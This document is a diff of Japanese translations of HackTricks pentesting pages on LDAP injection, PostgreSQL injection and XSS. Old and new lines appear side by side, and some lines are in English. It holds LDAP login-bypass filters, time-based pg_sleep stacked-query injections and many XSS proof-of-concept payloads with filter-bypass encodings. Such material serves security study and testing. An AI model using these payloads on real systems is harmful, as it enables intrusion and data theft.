`(&(objectClass=user)(uid=*))`
データベースにアクセスでき、さまざまなタイプの情報が含まれている可能性があります。
You can access to the database, and this can content information of a lot of different types.
**OpenLDAP**: 2つのフィルターが到着した場合、最初のフィルターのみを実行します。\
**ADAMまたはMicrosoft LDS**: 2つのフィルターでエラーが発生します。\
**SunOne Directory Server 5.0**: 両方のフィルターを実行します。
**正しい構文でフィルターを送信することが非常に重要です。そうしないとエラーが発生します。フィルターは1つだけ送信する方が良いです。**
**フィルターは正しい構文で送信することが非常に重要です。さもなければエラーが発生します。1つのフィルターのみを送信する方が良いです。**
フィルターは次のように始まる必要があります: `&` または `|`\
: `(&(directory=val1)(folder=public))`
Example: `(&(directory=val1)(folder=public))`
`(&(objectClass=VALUE1)(type=Epson*))`\
`VALUE1 = *)(ObjectClass=*))(&(objectClass=void`
次に: `(&(objectClass=`**`*)(ObjectClass=*))`**が最初のフィルター(実行されるもの)になります。
Then: `(&(objectClass=`**`*)(ObjectClass=*))`** will be the first filter (the one executed).
### ログインバイパス
### Login Bypass
LDAPは、パスワードを保存するためのいくつかの形式をサポートしています: clear, md5, smd5, sh1, sha, crypt。したがって、パスワードに挿入する内容に関係なく、ハッシュ化される可能性があります。
LDAPは、パスワードを保存するためのいくつかの形式をサポートしています: clear, md5, smd5, sh1, sha, crypt。したがって、パスワードに何を挿入しても、ハッシュ化される可能性があります。
```bash
user=*
password=*
@ -150,7 +150,7 @@ Final query: (&(objectClass= *)(objectClass=*))(&objectClass=void )(type=Pepi*))
Payload: void)(objectClass=void))(&objectClass=void
Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=Pepi*))
```
#### データダンプ
#### データダンプ
ascii文字、数字、記号を繰り返すことができます:
```bash
@ -167,7 +167,7 @@ ascii文字、数字、記号を繰り返すことができます:
#### **有効なLDAPフィールドを発見する**
LDAPオブジェクトは**デフォルトでいくつかの属性を含んでおり**、それを使って**情報を保存することができます**それらを**ブルートフォースして情報を抽出することを試みることができます**。 [**デフォルトのLDAP属性のリストはこちら**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt)で見つけることができます。
LDAPオブジェクトは**デフォルトでいくつかの属性を含んでおり**、それを使って**情報を保存する**ことができます**それらすべてをブルートフォースして情報を抽出する**ことを試みることができます。 [**デフォルトのLDAP属性のリストはこちら**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt)で見つけることができます。
```python
#!/usr/bin/python3
import requests
@ -224,9 +224,9 @@ intitle:"phpLDAPadmin" inurl:cmd.php
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。
**ハッキングキャリア**に興味があり、アンハッカブルをハックしたい方 - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。
{% embed url="https://www.stmcyber.com/careers" %}
@ -239,8 +239,8 @@ GCPハッキングを学び、実践する<img src="../.gitbook/assets/grte.p
<summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}

View file

@ -1,8 +1,8 @@
# PostgreSQLインジェクション
{% hint style="success" %}
AWSハッキングを学び、実践する:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWSハッキングを学び、実践する<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -15,7 +15,7 @@ GCPハッキングを学び、実践する: <img src="../../../.gitbook/assets/g
</details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。
@ -31,11 +31,11 @@ GCPハッキングを学び、実践する: <img src="../../../.gitbook/assets/g
### **dblinkと大きなオブジェクトを使用したエクスフィルトレーションの例**
[**この例を読む**](dblink-lo\_import-data-exfiltration.md)と、**大きなオブジェクト内にデータをロードし、その後`dblink_connect`関数のユーザー名内の大きなオブジェクトの内容をエクスフィルトレーションする方法**のCTF例を確認できます。
[**この例を読む**](dblink-lo\_import-data-exfiltration.md)と、**大きなオブジェクト内にデータをロードし、その後`dblink_connect`関数のユーザー名内の大きなオブジェクトの内容をエクスフィルトレーションする方法**のCTF例を確認できます。
## PostgreSQL攻撃: 読み書き、RCE、権限昇格
## PostgreSQL攻撃:読み取り/書き込み、RCE、権限昇格
ホストを侵害し、PostgreSQLから権限を昇格させる方法を確認してください:
ホストを侵害し、PostgreSQLから権限を昇格させる方法を確認してください
{% content-ref url="../../../network-services-pentesting/pentesting-postgresql.md" %}
[pentesting-postgresql.md](../../../network-services-pentesting/pentesting-postgresql.md)
@ -45,12 +45,12 @@ GCPハッキングを学び、実践する: <img src="../../../.gitbook/assets/g
### PostgreSQL文字列関数
文字列を操作することで、**WAFやその他の制限をバイパスする**のに役立ます。\
文字列を操作することで、**WAFやその他の制限をバイパスする**のに役立つ可能性があります。\
[**このページ**](https://www.postgresqltutorial.com/postgresql-string-functions/)**では、いくつかの便利な文字列関数を見つけることができます。**
### スタッククエリ
PostgreSQLはスタッククエリをサポートしていますが、2つのレスポンスが返されるとエラーをスローするアプリケーションがいくつかあります。しかし、時間インジェクションを介してスタッククエリを悪用することは可能です:
PostgreSQLはスタッククエリをサポートしていますが、2つのレスポンスが返されるとエラーをスローするアプリケーションがいくつかあります。ただし、時間インジェクションを介してスタッククエリを悪用することは可能です
```
id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
@ -71,7 +71,7 @@ SELECT database_to_xml(true,true,'');
```
### Hexでの文字列
**文字列の中に**(例えば、**`query_to_xml`**関数を使用して)**クエリを渡すことができる場合、**convert\_fromを使用して文字列を16進数として渡し、この方法でフィルタをバイパスできます:**
**文字列の中に**(例えば、**`query_to_xml`**関数を使用して)**クエリを渡すことができる場合、**convert\_fromを使用して文字列を16進数として渡し、この方法でフィルタをバイパスできます**
{% code overflow="wrap" %}
```sql
@ -97,9 +97,9 @@ SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;
```
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
もしあなたが**ハッキングキャリア**に興味があり、アンハッカブルなものをハックしたいなら - **私たちは採用しています!**_流暢なポーランド語の読み書きが必要_
**ハッキングキャリア**に興味があり、アンハッカブルをハックしたい方 - **採用中です!** (_流暢なポーランド語の読み書きが必要です_)
{% embed url="https://www.stmcyber.com/careers" %}
@ -112,8 +112,8 @@ GCPハッキングを学び、実践する<img src="../../../.gitbook/assets/
<summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有する、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}

View file

@ -1,6 +1,6 @@
# XSS (クロスサイトスクリプティング)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
もしあなたが**ハッキングキャリア**に興味があり、ハッキング不可能なものをハックしたいなら - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。
@ -20,7 +20,7 @@
5. JSコードを実行するHTMLタグを作成できない場合、[**ダングリングマークアップ - HTMLスクリプトレスインジェクション**](../dangling-markup-html-scriptless-injection/)を悪用できるかもしれません。
2. **HTMLタグ内で**
1. 生のHTMLコンテキストに抜け出せますか
2. JSコードを実行するための新しいイベント/属性を作成できますか?
2. JSコードを実行する新しいイベント/属性を作成できますか?
3. あなたが閉じ込められている属性はJS実行をサポートしていますか
4. 保護を回避できますか?
3. **JavaScriptコード内で**
@ -29,7 +29,7 @@
3. テンプレートリテラル \`\` に入力がありますか?
4. 保護を回避できますか?
4. 実行されているJavaScript **関数**
1. 実行する関数の名前を指定できます。例: `?callback=alert(1)`
1. 実行する関数の名前を指定できます。例:`?callback=alert(1)`
4. **使用されている場合**
1. **DOM XSS**を悪用できるかもしれません。あなたの入力がどのように制御されているか、そしてあなたの**制御された入力がどのシンクで使用されているかに注意してください**
@ -41,7 +41,7 @@
## 反映された値
XSSを成功裏に悪用するために最初に見つけるべきことは、**あなたが制御する値がウェブページに反映されていること**です。
XSSを成功裏に悪用するために最初に見つける必要があるのは、**あなたが制御する値がウェブページに反映されていること**です。
* **中間的に反映された**:パラメータの値やパスがウェブページに反映されていることがわかった場合、**反映されたXSS**を悪用できるかもしれません。
* **保存されて反映された**:あなたが制御する値がサーバーに保存され、ページにアクセスするたびに反映されることがわかった場合、**保存されたXSS**を悪用できるかもしれません。
@ -53,7 +53,7 @@ XSSを悪用しようとする際に最初に知っておくべきことは、**
### 生のHTML
あなたの入力が**生のHTML**ページに**反映されている**場合、JSコードを実行するためにいくつかの**HTMLタグ**を悪用する必要があります:`<img``<iframe``<svg``<script` ... これらは使用できる多くのHTMLタグの一部に過ぎません\
あなたの入力が**生のHTML**ページに**反映されている**場合、JSコードを実行するためにいくつかの**HTMLタグ**を悪用する必要があります:`<img``<iframe``<svg``<script` ... これらは使用できる多くのHTMLタグの一部です\
また、[クライアントサイドテンプレートインジェクション](../client-side-template-injection-csti.md)を念頭に置いてください。
### HTMLタグの属性内
@ -62,10 +62,10 @@ XSSを悪用しようとする際に最初に知っておくべきことは、**
1. **属性とタグから抜け出す**その後、生のHTMLにいることになります新しいHTMLタグを作成して悪用します`"><img [...]`
2. **属性からは抜け出せるがタグからは抜け出せない**場合(`>`がエンコードまたは削除されている、タグに応じてJSコードを実行する**イベントを作成**できるかもしれません:`" autofocus onfocus=alert(1) x="`
3. **属性から抜け出せない**場合(`"`がエンコードまたは削除されている)、**どの属性**にあなたの値が反映されているか、**全体を制御しているか一部だけを制御しているか**に応じて悪用できるかもしれません。**例えば**、`onclick=`のようなイベントを制御している場合、クリックされたときに任意のコードを実行させることができます。もう一つの興味深い**例**は、`href`属性で、`javascript:`プロトコルを使用して任意のコードを実行できます:**`href="javascript:alert(1)"`**
4. あなたの入力が「**悪用できないタグ**」内に反映されている場合、脆弱性を悪用するために**`accesskey`**トリックを試みることができます(これを悪用するには何らかの社会工学が必要です):**`" accesskey="x" onclick="alert(1)" x="`**
3. **属性から抜け出せない**場合(`"`がエンコードまたは削除されている)、あなたの値が反映されている**属性**に応じて、**すべての値を制御しているか、一部だけを制御しているか**によって悪用できるかもしれません。**例えば**、`onclick=`のようなイベントを制御している場合、クリックされたときに任意のコードを実行させることができます。もう一つの興味深い**例**は、`href`属性で、`javascript:`プロトコルを使用して任意のコードを実行できます:**`href="javascript:alert(1)"`**
4. あなたの入力が「**悪用できないタグ**」内に反映されている場合、**`accesskey`**トリックを試みて脆弱性を悪用できるかもしれません(これを悪用するには何らかの社会工学が必要です):**`" accesskey="x" onclick="alert(1)" x="`**
クラス名を制御している場合のAngularによるXSSの奇妙な例:
クラス名を制御している場合のAngularがXSSを実行する奇妙な例:
```html
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
@ -76,7 +76,7 @@ XSSを悪用しようとする際に最初に知っておくべきことは、**
この場合、あなたの入力はHTMLページの**`<script> [...] </script>`**タグ、`.js`ファイル、または**`javascript:`**プロトコルを使用した属性の間に反映されます:
* **`<script> [...] </script>`**タグの間に反映されている場合、たとえあなたの入力がどんな種類の引用符の中にあっても、`</script>`を注入してこのコンテキストから**脱出**しようとすることができます。これは、**ブラウザが最初にHTMLタグを解析**し、その後にコンテンツを解析するため、あなたが注入した`</script>`タグがHTMLコードの中にあることに気づかないからです。
* **JS文字列の中**に反映されていて、最後のトリックが機能しない場合は、文字列から**脱出**し、コードを**実行**し、JSコードを**再構築**する必要があります(エラーがある場合は実行されません):
* **JS文字列の中に反映されている**場合、最後のトリックが機能しない場合は、**文字列から脱出**し、**コードを実行**し、**JSコードを再構築**する必要があります(エラーがある場合は実行されません):
* `'-alert(1)-'`
* `';-alert(1)//`
* `\';alert(1)//`
@ -89,7 +89,7 @@ XSSを悪用しようとする際に最初に知っておくべきことは、**
```
#### Javascript Hoisting
Javascript Hoistingは、**関数、変数、またはクラスを使用した後に宣言する機会を指し、未宣言の変数や関数を使用するXSSのシナリオを悪用できることを意味します。**\
Javascript Hoistingは、**関数、変数、またはクラスを使用した後に宣言する機会を指し、未宣言の変数や関数を使用するXSSのシナリオを悪用できるようにします。**\
**詳細については、以下のページを確認してください:**
{% content-ref url="js-hoisting.md" %}
@ -104,9 +104,9 @@ Javascript Hoistingは、**関数、変数、またはクラスを使用した
![](<../../.gitbook/assets/image (711).png>)
もし脆弱であれば、**値を送信するだけでアラートをトリガーできる可能性があります: **`?callback=alert(1)`**。ただし、これらのエンドポイントは、**内容を検証して、文字、数字、ドット、アンダースコアのみを許可することが非常に一般的です(**`[\w\._]`**)。**
もし脆弱であれば、**値を送信するだけでアラートをトリガーできるかもしれません: **`?callback=alert(1)`**。ただし、これらのエンドポイントは、**内容を検証して、文字、数字、ドット、アンダースコアのみを許可することが非常に一般的です(**`[\w\._]`**)。**
しかし、その制限があっても、いくつかのアクションを実行することは依然として可能です。これは、有効な文字を使用して**DOM内の任意の要素にアクセスできるためです**:
しかし、その制限があっても、いくつかのアクションを実行することはまだ可能です。これは、有効な文字を使用して**DOM内の任意の要素にアクセスできるためです**:
![](<../../.gitbook/assets/image (747).png>)
@ -138,7 +138,7 @@ parentElement
### **ユニバーサルXSS**
この種のXSSは**どこにでも**見つけることができます。これらは、Webアプリケーションのクライアントの悪用だけでなく、**あらゆる** **コンテキスト**に依存します。この種の**任意のJavaScript実行**は、**RCE**を取得したり、クライアントやサーバーの**任意のファイルを読み取ったり**するために悪用されることさえあります。\
この種のXSSは**どこにでも**見つけることができます。これらは、Webアプリケーションのクライアントの悪用だけでなく、**あらゆる****コンテキスト**に依存します。この種の**任意のJavaScript実行**は、**RCE**を取得したり、クライアントやサーバーの**任意のファイルを読み取ったり**するために悪用されることさえあります。\
いくつかの**例**
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
@ -247,18 +247,18 @@ To check in which characters are decomposed check [here](https://www.compart.com
### Click XSS - Clickjacking
もし脆弱性を悪用するために**ユーザーがリンクや事前に入力されたデータを持つフォームをクリックする必要がある**場合、[**Clickjackingを悪用する**](../clickjacking.md#xss-clickjacking)ことを試みることができます(ページが脆弱な場合)。
If in order to exploit the vulnerability you need the **user to click a link or a form** with prepopulated data you could try to [**abuse Clickjacking**](../clickjacking.md#xss-clickjacking) (if the page is vulnerable).
### Impossible - Dangling Markup
もし**JSコードを実行する属性を持つHTMLタグを作成することが不可能だと思う**なら、[**Dangling Markup**](../dangling-markup-html-scriptless-injection/)を確認してください。なぜなら、**JS**コードを実行することなく脆弱性を**悪用**できるからです。
If you just think that **it's impossible to create an HTML tag with an attribute to execute JS code**, you should check [**Danglig Markup** ](../dangling-markup-html-scriptless-injection/)because you could **exploit** the vulnerability **without** executing **JS** code.
## Injecting inside HTML tag
### Inside the tag/escaping from attribute value
もし**HTMLタグの内部にいる**場合、最初に試すべきことは、タグから**エスケープ**して、[前のセクション](./#injecting-inside-raw-html)で言及された技術のいくつかを使用してJSコードを実行することです。\
もし**タグからエスケープできない**場合、タグの内部に新しい属性を作成してJSコードを実行しようとすることができます。例えば、(_この例では属性からエスケープするために二重引用符が使用されていますが、入力がタグ内に直接反映される場合は必要ありません_):
If you are in **inside a HTML tag**, the first thing you could try is to **escape** from the tag and use some of the techniques mentioned in the [previous section](./#injecting-inside-raw-html) to execute JS code.\
If you **cannot escape from the tag**, you could create new attributes inside the tag to try to execute JS code, for example using some payload like (_note that in this example double quotes are use to escape from the attribute, you won't need them if your input is reflected directly inside the tag_):
```bash
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
@ -280,7 +280,7 @@ To check in which characters are decomposed check [here](https://www.compart.com
**HTMLエンコーディング/URLエンコードを使用したイベント内のバイパス**
HTMLタグ属性の値内の**HTMLエンコードされた文字**は**実行時にデコードされます**。したがって、次のようなものは有効です(ペイロードは太字で示されています):`<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">戻る</a>`
HTMLタグ属性の値内の**HTMLエンコードされた文字**は**実行時にデコードされます**。したがって、次のようなものは有効です(ペイロードは太字で示されています):`<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">戻る </a>`
**あらゆる種類のHTMLエンコードが有効であることに注意してください**
```javascript
@ -355,21 +355,21 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
```
**他の難読化トリック**
_**この場合、前のセクションのHTMLエンコーディングとUnicodeエンコーディングのトリックも有効です。あなたは属性内にいるからです。**_
_**この場合、前のセクションのHTMLエンコーディングとUnicodeエンコーディングのトリックも有効です。あなたは属性内にいるためです。**_
```javascript
<a href="javascript:var a='&apos;-alert(1)-&apos;'">
```
さらに、これらのケースには別の**素晴らしいトリック**があります:**`javascript:...`内の入力がURLエンコードされていても、実行される前にURLデコードされます。** したがって、**シングルクォート**を使用して**文字列**から**エスケープ**する必要がある場合、**URLエンコードされている**のを見たら、**それは重要ではありません。** 実行時に**シングルクォート**として**解釈されます。**
さらに、これらのケースには別の**素晴らしいトリック**があります:**`javascript:...`内の入力がURLエンコードされていても、実行される前にURLデコードされます。** したがって、**シングルクォート**を使用して**文字列**から**エスケープ**する必要がある場合、**URLエンコードされている**のを見ても、**問題ありません。** 実行時に**シングルクォート**として**解釈されます。**
```javascript
&apos;-alert(1)-&apos;
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
```
注意してください、もしあなたが**両方を使用しようとすると** `URLencode + HTMLencode` どの順序であっても**ペイロード**をエンコードするためにそれは**機能しません**が、あなたは**ペイロードの中でそれらを混ぜることができます**
注意してください、もしあなたが**両方**の`URLencode + HTMLencode`を任意の順序で**ペイロード**をエンコードするために使用しようとすると、それは**機能しません**が、**ペイロードの中で混ぜる**ことができます。
**`javascript:`を使った16進数と8進数のエンコード**
**`javascript:`を使ったHexおよびOctalエンコード**
あなたは**16進数**と**8進数のエンコード**を`iframe`の`src`属性の中で(少なくとも)使用して**JSを実行するHTMLタグを宣言する**ことができます:
あなたは**Hex**および**Octalエンコード**を`iframe`の`src`属性の中で(少なくとも)使用して**JSを実行するHTMLタグを宣言**することができます:
```javascript
//Encoded: <svg onload=alert(1)>
// This WORKS
@ -385,7 +385,7 @@ _**この場合、前のセクションのHTMLエンコーディングとUnicode
```javascript
<a target="_blank" rel="opener"
```
もし任意の**`<a href=`**タグにURLを挿入でき、そのタグが**`target="_blank"`および`rel="opener"`**属性を含む場合は、**この動作を悪用するために以下のページを確認してください**:
もし任意の**`<a href=`**タグにURLを挿入でき、そのタグが**`target="_blank"`**および**`rel="opener"`**属性を含む場合は、**この動作を悪用するために以下のページを確認してください**
{% content-ref url="../reverse-tab-nabbing.md" %}
[reverse-tab-nabbing.md](../reverse-tab-nabbing.md)
@ -393,8 +393,8 @@ _**この場合、前のセクションのHTMLエンコーディングとUnicode
### イベントハンドラーのバイパス
まず、役立つ**"on"イベントハンドラー**についてはこのページを確認してください ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)).\
このイベントハンドラーの作成を妨げるブラックリストがある場合は、以下のバイパスを試すことができます:
まず、役立つ**"on"イベントハンドラー**についてはこのページを確認してください[https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet))。\
このイベントハンドラーの作成を妨げるブラックリストがある場合は、以下のバイパスを試すことができます
```javascript
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
@ -432,7 +432,7 @@ Android: %09 %20 %28 %2C %3B
### ブラックリストバイパス
このセクションでは、異なるエンコーディングを使用するいくつかのトリックがすでに公開されています。**戻って、どこで使用できるかを学びましょう:**
このセクションでは、さまざまなエンコーディングを使用するトリックがすでに公開されています。**戻って、どこで使用できるかを学びましょう:**
* **HTMLエンコーディングHTMLタグ**
* **Unicodeエンコーディング有効なJSコードになる可能性があります** `\u0061lert(1)`
@ -450,11 +450,11 @@ Android: %09 %20 %28 %2C %3B
### CSSガジェット
もし、**非常に小さな部分**のウェブでXSSを見つけた場合、何らかのインタラクションが必要です例えば、マウスオーバー要素を持つフッターの小さなリンクなど)、その要素が占める**スペースを変更して**、リンクが発火する確率を最大化することを試みることができます。
もし、**非常に小さな部分**のウェブでXSSを見つけた場合、何らかのインタラクションが必要ですフッターの小さなリンクにonmouseover要素があるかもしれません、その要素が占めるスペースを**変更してリンクが発火する確率を最大化**することを試みることができます。
例えば、要素に次のようなスタイルを追加することができます:`position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
しかし、WAFがスタイル属性をフィルタリングしている場合、CSSスタイリングガジェットを使用することができます。例えば、次のようなものを見つけた場合
しかし、WAFがスタイル属性をフィルタリングしている場合、CSSスタイリングガジェットを使用できます。例えば、次のようなものを見つけた場合
> .test {display:block; color: blue; width: 100%\}
@ -462,13 +462,13 @@ Android: %09 %20 %28 %2C %3B
> \#someid {top: 0; font-family: Tahoma;}
今、リンクを変更して次の形式に持っていくことができます
今、リンクを変更して次の形式にすることができます
> \<a href="" id=someid class=test onclick=alert() a="">
このトリックは[https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)から取られました。
## JavaScriptコード内への注入
## JavaScriptコード内へのインジェクション
この場合、あなたの**入力**は`.js`ファイルのJSコード内に**反映される**か、`<script>...</script>`タグの間、またはJSコードを実行できるHTMLイベントの間、または`javascript:`プロトコルを受け入れる属性の間にあります。
@ -490,8 +490,8 @@ Android: %09 %20 %28 %2C %3B
```
### テンプレートリテラル \`\`
**文字列**を単一引用符や二重引用符以外で構築するために、JSは**バックティック** **` `` `**も受け入れます。これはテンプレートリテラルとして知られ、`${ ... }`構文を使用して**JS式を埋め込む**ことができます。\
したがって、入力がバックティックを使用しているJS文字列内に**反映**されていることがわかった場合、構文`${ ... }`を悪用して**任意のJSコード**を実行できます:
**文字列**を構築するために、シングルクォートやダブルクォートの他に、JSは**バックティック** **` `` `**も受け入れます。これはテンプレートリテラルとして知られ、`${ ... }`構文を使用して**JS式を埋め込む**ことができます。\
したがって、バックティックを使用しているJS文字列の中にあなたの入力が**反映**されていることがわかった場合、`${ ... }`構文を悪用して**任意のJSコード**を実行することができます:
これは次のように**悪用**できます:
```javascript
@ -742,14 +742,14 @@ top[8680439..toString(30)](1)
[dom-xss.md](dom-xss.md)
{% endcontent-ref %}
そこでは、**DOMの脆弱性とは何か、どのように引き起こされるのか、そしてどのように悪用されるのかについての詳細な説明**が見つかります。\
そこでは、**DOMの脆弱性とは何か、どのように引き起こされるのか、そしてどのように悪用されるのかについての詳細な説明があります**。\
また、**前述の投稿の最後には、** [**DOMクラッバー攻撃**](dom-xss.md#dom-clobbering)についての説明があることを忘れないでください。
### セルフXSSのアップグレード
### クッキーXSS
ペイロードをクッキー内に送信することでXSSをトリガーできる場合、これは通常セルフXSSです。しかし、**XSSに対して脆弱なサブドメイン**を見つけた場合、このXSSを悪用して全ドメインにクッキーを注入し、メインドメインまたは他のサブドメインクッキーXSSに対して脆弱なものでクッキーXSSをトリガーすることができます。これにはクッキー投げ攻撃を使用できます:
クッキー内にペイロードを送信することでXSSをトリガーできる場合、これは通常セルフXSSです。しかし、**XSSに対して脆弱なサブドメイン**を見つけた場合、このXSSを悪用して全ドメインにクッキーを注入し、メインドメインまたは他のサブドメインクッキーXSSに対して脆弱なものでクッキーXSSをトリガーすることができます。このために、クッキー投げ攻撃を使用できます:
{% content-ref url="../hacking-with-cookies/cookie-tossing.md" %}
[cookie-tossing.md](../hacking-with-cookies/cookie-tossing.md)
@ -829,7 +829,7 @@ document['default'+'View'][`\u0061lert`](3)
### Only Letters, Numbers and Dots
もしあなたが**コールバック**を示すことができるなら、javascriptが**実行する**のはこれらの文字に制限されます。[**この投稿のこのセクションを読む**](./#javascript-function)ことで、この動作を悪用する方法を見つけることができます
もしあなたが**コールバック**を示すことができるなら、javascriptが**実行する**のはこれらの文字に制限されます。[**この投稿のこのセクションを読んで**](./#javascript-function)この動作を悪用する方法を見つけてください
### Valid `<script>` Content-Types to XSS
@ -930,7 +930,7 @@ import { partition } from "lodash";
### xml Content Type
ページがtext/xmlコンテンツタイプを返している場合、名前空間を指定して任意のJSを実行することが可能です
ページがtext/xmlコンテンツタイプを返場合、名前空間を指定して任意のJSを実行することが可能です
```xml
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
@ -944,7 +944,7 @@ import { partition } from "lodash";
例えば、[**この書き込み**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA)では、スクリプト内の**JSON文字列をエスケープ**し、任意のコードを実行するために使用されました。
### ChromeキャッシュからXSS
### ChromeキャッシュからXSS
{% content-ref url="chrome-cache-to-xss.md" %}
[chrome-cache-to-xss.md](chrome-cache-to-xss.md)
@ -983,7 +983,7 @@ constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
```
もし**すべてが未定義**である場合、信頼できないコードを実行する前に([**この書き込み**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)のように)、何もないところから有用なオブジェクトを生成して、任意の信頼できないコードの実行を悪用することが可能です:
もし**すべてが未定義**である場合、信頼できないコードを実行する前に([**この書き込み**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solvesのように)、何もないところから有用なオブジェクトを生成して、任意の信頼できないコードの実行を悪用することが可能です:
* import()を使用して
```javascript
@ -1045,7 +1045,7 @@ trigger()
```
### オブfuscation & 高度なバイパス
* **1つのページ内の異なるオブfuscation:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
